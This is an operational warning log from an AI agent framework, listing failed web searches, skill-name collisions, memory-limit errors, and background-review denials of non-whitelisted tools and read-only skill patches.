'research:research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 07:01:02,968 WARNING [20260722_064738_6ac416] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 07:01:02,969 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool skill_view returned error (0.37s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 07:01:56,907 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-22 07:01:59,802 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-22 07:02:28,739 WARNING [20260722_064738_6ac416] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 07:02:28,740 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool skill_view returned error (0.09s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 07:02:30,782 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool skill_manage returned error (0.02s): {"error": "old_string is required for 'patch'. Provide the text to find.", "success": false} 2026-07-22 07:02:33,477 WARNING [20260722_064738_6ac416] agent.tool_executor: Tool skill_manage returned error (0.02s): {"error": "old_string is required for 'patch'. Provide the text to find.", "success": false} 2026-07-22 09:51:37,049 WARNING tools.registry: check_fn _browser_cdp_check returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,069 WARNING tools.registry: check_fn _browser_dialog_check returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,102 WARNING tools.registry: check_fn check_close_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,108 WARNING tools.registry: check_fn check_computer_use_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,222 WARNING tools.registry: check_fn check_image_generation_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,226 WARNING tools.registry: check_fn _check_kanban_mode returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,233 WARNING tools.registry: check_fn _check_kanban_orchestrator_mode returned False; dependent tools will be unavailable this turn 2026-07-22 09:51:37,239 WARNING tools.registry: check_fn check_read_terminal_requirements returned False; dependent tools will be unavailable this turn 2026-07-22 12:22:12,220 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:22:12,228 WARNING [20260722_122033_916e17] agent.tool_executor: Tool web_search returned error (2.64s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:22:13,595 WARNING [20260722_122034_970c38] agent.tool_executor: Tool web_extract returned error (0.32s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:22:16,658 WARNING [20260722_122033_916e17] agent.tool_executor: Tool web_extract returned error (0.92s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:22:17,986 WARNING [20260722_122034_731526] agent.tool_executor: Tool web_extract returned error (0.32s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:22:47,989 WARNING [20260722_122034_731526] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:22:48,051 WARNING [20260722_122034_731526] agent.tool_executor: Tool web_search returned error (3.03s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:22:51,208 WARNING [20260722_122034_970c38] agent.tool_executor: Tool browser_navigate returned error (35.21s): {"success": false, "error": "Operation timed out. The page may still be loading or the element may not exist."} 2026-07-22 12:23:04,503 WARNING [20260722_122034_970c38] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:23:04,515 WARNING [20260722_122034_970c38] agent.tool_executor: Tool web_search returned error (3.48s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:23:14,323 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:23:14,327 WARNING [20260722_122034_970c38] agent.tool_executor: Tool web_search returned error (3.06s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:27:20,224 WARNING [20260722_122034_970c38] agent.tool_executor: Tool web_extract returned error (0.37s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:27:24,089 WARNING [20260722_122034_731526] agent.tool_executor: Tool web_extract returned error (0.02s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:27:54,262 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:27:54,273 WARNING [20260722_122033_916e17] agent.tool_executor: Tool web_search returned error (2.89s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:28:10,529 WARNING [20260722_122034_970c38] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:28:10,536 WARNING [20260722_122034_970c38] agent.tool_executor: Tool web_search returned error (2.93s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:28:11,595 WARNING [20260722_122033_916e17] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:28:11,599 WARNING [20260722_122033_916e17] agent.tool_executor: Tool web_search returned error (2.88s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:28:15,439 WARNING [20260722_122033_916e17] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:28:15,446 WARNING [20260722_122033_916e17] agent.tool_executor: Tool web_search returned error (2.74s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:28:29,618 WARNING [20260722_122034_970c38] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:28:29,619 WARNING [20260722_122034_970c38] agent.tool_executor: Tool web_search returned error (3.09s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:31:22,995 WARNING [20260722_122034_970c38] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'policy-lab': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation."} 2026-07-22 12:32:25,371 WARNING [20260722_122034_731526] agent.tool_executor: Tool skill_manage returned error (0.69s): {"success": false, "error": "Skill 'research/academic-source-retrieval' not found in active profile 'default'. Use skills_list() to see available skills."} 2026-07-22 12:32:29,392 WARNING [20260722_122033_916e17] agent.tool_executor: Tool search_files returned error (0.00s): {"error": "Background review denied non-whitelisted tool: search_files. Only memory/skill tools are allowed."} 2026-07-22 12:32:29,497 WARNING [20260722_122034_731526] agent.tool_executor: Tool todo returned error (0.00s): {"error": "Background review denied non-whitelisted tool: todo. Only memory/skill tools are allowed."} 2026-07-22 12:32:33,195 WARNING [20260722_122033_916e17] tools.skills_tool: Skill name collision for 'research-report': 4 candidates — /root/.hermes/skills/research-report/SKILL.md; /root/.hermes/skills/research-codex-en/research-report/SKILL.md; /root/.hermes/skills/research-en/research-report/SKILL.md; /root/.hermes/skills/research-zh/research-report/SKILL.md 2026-07-22 12:32:33,197 WARNING [20260722_122033_916e17] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research-report': 4 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", " 2026-07-22 12:32:40,212 WARNING [20260722_122033_916e17] agent.tool_executor: Tool skill_manage returned error (0.14s): {"success": false, "error": "Found 2 matches for old_string. Provide more context to make it unique, or use replace_all=True.", "file_preview": "---\nname: academic-source-retrieval\ndescription: \"Sk 2026-07-22 12:33:22,302 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:33:23,137 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:33:23,153 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.31s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:33:23,180 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (2.47s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:33:44,465 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:33:44,481 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool web_search returned error (3.24s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:36:52,199 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool web_extract returned error (0.79s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:36:55,726 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 12:36:55,727 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.17s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 12:36:59,397 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} 2026-07-22 12:37:02,833 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 12:37:02,834 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.06s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 12:37:04,478 WARNING [20260722_123454_320b4d] tools.skills_tool: Skill name collision for 'research:research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 12:37:04,479 WARNING [20260722_123454_320b4d] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research:research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 12:37:05,241 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-22 12:37:06,475 WARNING [20260722_123454_320b4d] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 12:37:06,476 WARNING [20260722_123454_320b4d] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 12:37:10,974 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_manage returned error (0.03s): {"success": false, "error": "Refusing background curator patch for skill 'research-pipeline': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, 2026-07-22 12:37:13,385 WARNING [20260722_123454_312ea4] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:37:13,401 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool web_search returned error (3.51s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:37:16,377 WARNING [20260721_060236_7c97850b] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 12:37:16,378 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 12:37:21,528 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.01s): {"success": false, "error": "Memory at 2,154/2,200 chars. Adding this entry (409 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-22 12:37:26,616 WARNING [20260722_123454_312ea4] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:37:26,616 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool web_search returned error (3.13s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:37:35,810 WARNING [20260722_123454_312ea4] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:37:35,814 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool web_search returned error (3.51s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:37:45,538 WARNING [20260722_123454_312ea4] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:37:45,540 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool web_search returned error (3.36s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:41:17,463 WARNING [20260722_123454_312ea4] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 12:41:17,466 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool skill_view returned error (0.06s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 12:41:19,388 WARNING [20260722_123454_312ea4] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 12:41:19,389 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 12:41:22,232 WARNING [20260722_123454_312ea4] tools.skills_tool: Skill name collision for 'research/research-critism': 2 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 12:41:22,236 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool skill_view returned error (0.15s): {"success": false, "error": "Ambiguous skill name 'research/research-critism': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized 2026-07-22 12:41:26,104 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-22 12:41:34,411 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-22 12:42:59,624 WARNING [20260722_123454_312ea4] tools.skills_tool: Skill name collision for 'research-critism': 3 candidates — /root/.hermes/skills/research/research-critism/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-critism/SKILL.md 2026-07-22 12:42:59,625 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool skill_view returned error (0.11s): {"success": false, "error": "Ambiguous skill name 'research-critism': 3 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 12:43:54,101 WARNING [20260722_123454_312ea4] tools.skills_tool: Skill name collision for 'research/SKILL.md': 2 candidates — /root/.hermes/skills/research/SKILL.md; /opt/ai-os/products/ceo/skills/research/SKILL.md 2026-07-22 12:43:54,102 WARNING [20260722_123454_312ea4] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research/SKILL.md': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 12:57:07,341 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:57:07,352 WARNING [20260722_125623_4ae415] agent.tool_executor: Tool web_search returned error (3.56s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:57:14,527 WARNING plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:57:14,536 WARNING [20260722_125623_4ae415] agent.tool_executor: Tool web_search returned error (3.18s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 12:57:16,063 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool web_extract returned error (0.51s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:58:43,719 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 12:58:43,737 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool web_search returned error (12.25s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 12:59:23,009 WARNING [20260722_125624_e6cd14] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 12:59:23,017 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool web_search returned error (12.53s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 12:59:23,256 WARNING [20260722_125623_4ae415] agent.tool_executor: Tool web_extract returned error (0.45s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 12:59:23,481 WARNING [20260722_125624_fb0962] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 12:59:23,482 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool web_search returned error (12.57s): { "success": false, "error": "DuckDuckGo search failed: No results found." } [Tool loop warning: repeated_exact_failure_warning; count=2; web_search has failed 2 times with identical arguments. T 2026-07-22 12:59:55,790 WARNING [20260722_125623_4ae415] agent.tool_executor: Tool browser_navigate returned error (29.26s): {"success": false, "error": "Operation timed out. The page may still be loading or the element may not exist."} 2026-07-22 12:59:57,684 WARNING [20260722_125624_e6cd14] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 12:59:57,685 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool web_search returned error (12.88s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:00:05,609 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool web_extract returned error (0.31s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 13:00:12,077 WARNING [20260722_125623_4ae415] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:00:12,079 WARNING [20260722_125623_4ae415] agent.tool_executor: Tool web_search returned error (14.11s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:00:26,088 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool browser_navigate returned error (30.20s): {"success": false, "error": "Operation timed out. The page may still be loading or the element may not exist."} 2026-07-22 13:02:06,314 WARNING [20260722_125623_4ae415] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:02:06,316 WARNING [20260722_125623_4ae415] agent.tool_executor: Tool web_search returned error (12.53s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:02:40,142 WARNING [20260722_125624_fb0962] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:02:40,143 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool web_search returned error (13.65s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:03:15,244 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool browser_navigate returned error (29.54s): {"success": false, "error": "Operation timed out. The page may still be loading or the element may not exist."} 2026-07-22 13:09:40,029 WARNING [20260722_125624_fb0962] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:09:40,031 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool web_search returned error (12.59s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:10:22,243 WARNING [20260722_125624_e6cd14] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 13:10:22,249 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool web_search returned error (13.67s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 13:10:50,363 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool patch returned error (0.00s): {"error": "Background review denied non-whitelisted tool: patch. Only memory/skill tools are allowed."} 2026-07-22 13:10:53,076 WARNING [20260722_125624_fb0962] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'policy-lab': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation."} 2026-07-22 13:11:38,861 WARNING [20260722_125624_e6cd14] plugins.web.ddgs.provider: DDGS search error: No results found. 2026-07-22 13:11:38,861 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool web_search returned error (12.59s): { "success": false, "error": "DuckDuckGo search failed: No results found." } 2026-07-22 13:11:52,925 WARNING [20260722_125624_e6cd14] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:11:52,932 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool web_search returned error (12.18s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: repeated_exact_failure_warning; count=2; web_search has failed 2 time 2026-07-22 13:15:34,677 WARNING [20260722_125624_e6cd14] agent.tool_executor: Tool skill_manage returned error (0.02s): {"success": false, "error": "Refusing background curator patch for skill 'research-en': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation."} 2026-07-22 13:17:49,973 WARNING [20260721_060236_7c97850b] agent.tool_executor: Tool memory returned error (0.00s): {"success": false, "error": "Memory at 1,191/1,375 chars. Adding this entry (203 chars) would exceed the limit. Consolidate now: use 'replace' to merge overlapping entries into shorter ones or 'remove 2026-07-22 13:36:18,467 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool session_search returned error (0.00s): {"error": "around_message_id 0 not in session_id 20260721_060236_7c97850b", "success": false} 2026-07-22 13:37:08,647 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool terminal returned error (1.81s): {"output": "Active board is now 'nv-office'.\nusage: hermes [-h] [--version] [-z PROMPT] [--usage-file PATH] [-m MODEL]\n [--provider PROVIDER] [-t TOOLSETS] [--resume SESSION]\n 2026-07-22 13:37:53,772 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:37:53,891 WARNING plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:37:53,897 WARNING [20260722_133722_7bf972] agent.tool_executor: Tool web_search returned error (12.96s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:37:53,922 WARNING [20260722_133722_7bf972] agent.tool_executor: Tool web_search returned error (12.82s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:38:28,426 WARNING [20260722_133722_7bf972] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:38:28,427 WARNING [20260722_133722_7bf972] agent.tool_executor: Tool web_search returned error (12.62s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: same_tool_failure_warning; count=3; web_search has failed 3 times thi 2026-07-22 13:43:50,656 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_extract returned error (1.60s): {"success": false, "error": "DuckDuckGo (ddgs) is a search-only backend and cannot extract URL content. Set web.extract_backend to firecrawl, tavily, exa, or parallel."} 2026-07-22 13:48:22,447 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:48:22,456 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.85s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:48:37,086 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:48:37,090 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.47s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:49:22,188 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:49:22,189 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.34s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:50:09,426 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:50:09,434 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.88s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:51:14,431 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:51:14,434 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.90s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:51:47,985 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:51:47,986 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (13.07s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:52:54,063 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:52:54,065 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.69s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: same_tool_failure_warning; count=3; web_search has failed 3 times thi 2026-07-22 13:53:21,584 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:53:21,585 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.49s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } [Tool loop warning: repeated_exact_failure_warning; count=2; web_search has failed 2 time 2026-07-22 13:53:36,375 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:53:36,375 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.62s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:54:34,864 WARNING [20260722_133203_55e97469] plugins.web.ddgs.provider: DDGS search error: Request timed out: ConnectTimeout('timed out') 2026-07-22 13:54:34,870 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool web_search returned error (12.08s): { "success": false, "error": "DuckDuckGo search failed: Request timed out: ConnectTimeout('timed out')" } 2026-07-22 13:57:05,179 WARNING [20260722_133203_55e97469] tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 13:57:05,180 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_view returned error (0.74s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 13:57:07,140 WARNING [20260722_133203_55e97469] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 13:57:07,141 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_view returned error (0.09s): {"success": false, "error": "Ambiguous 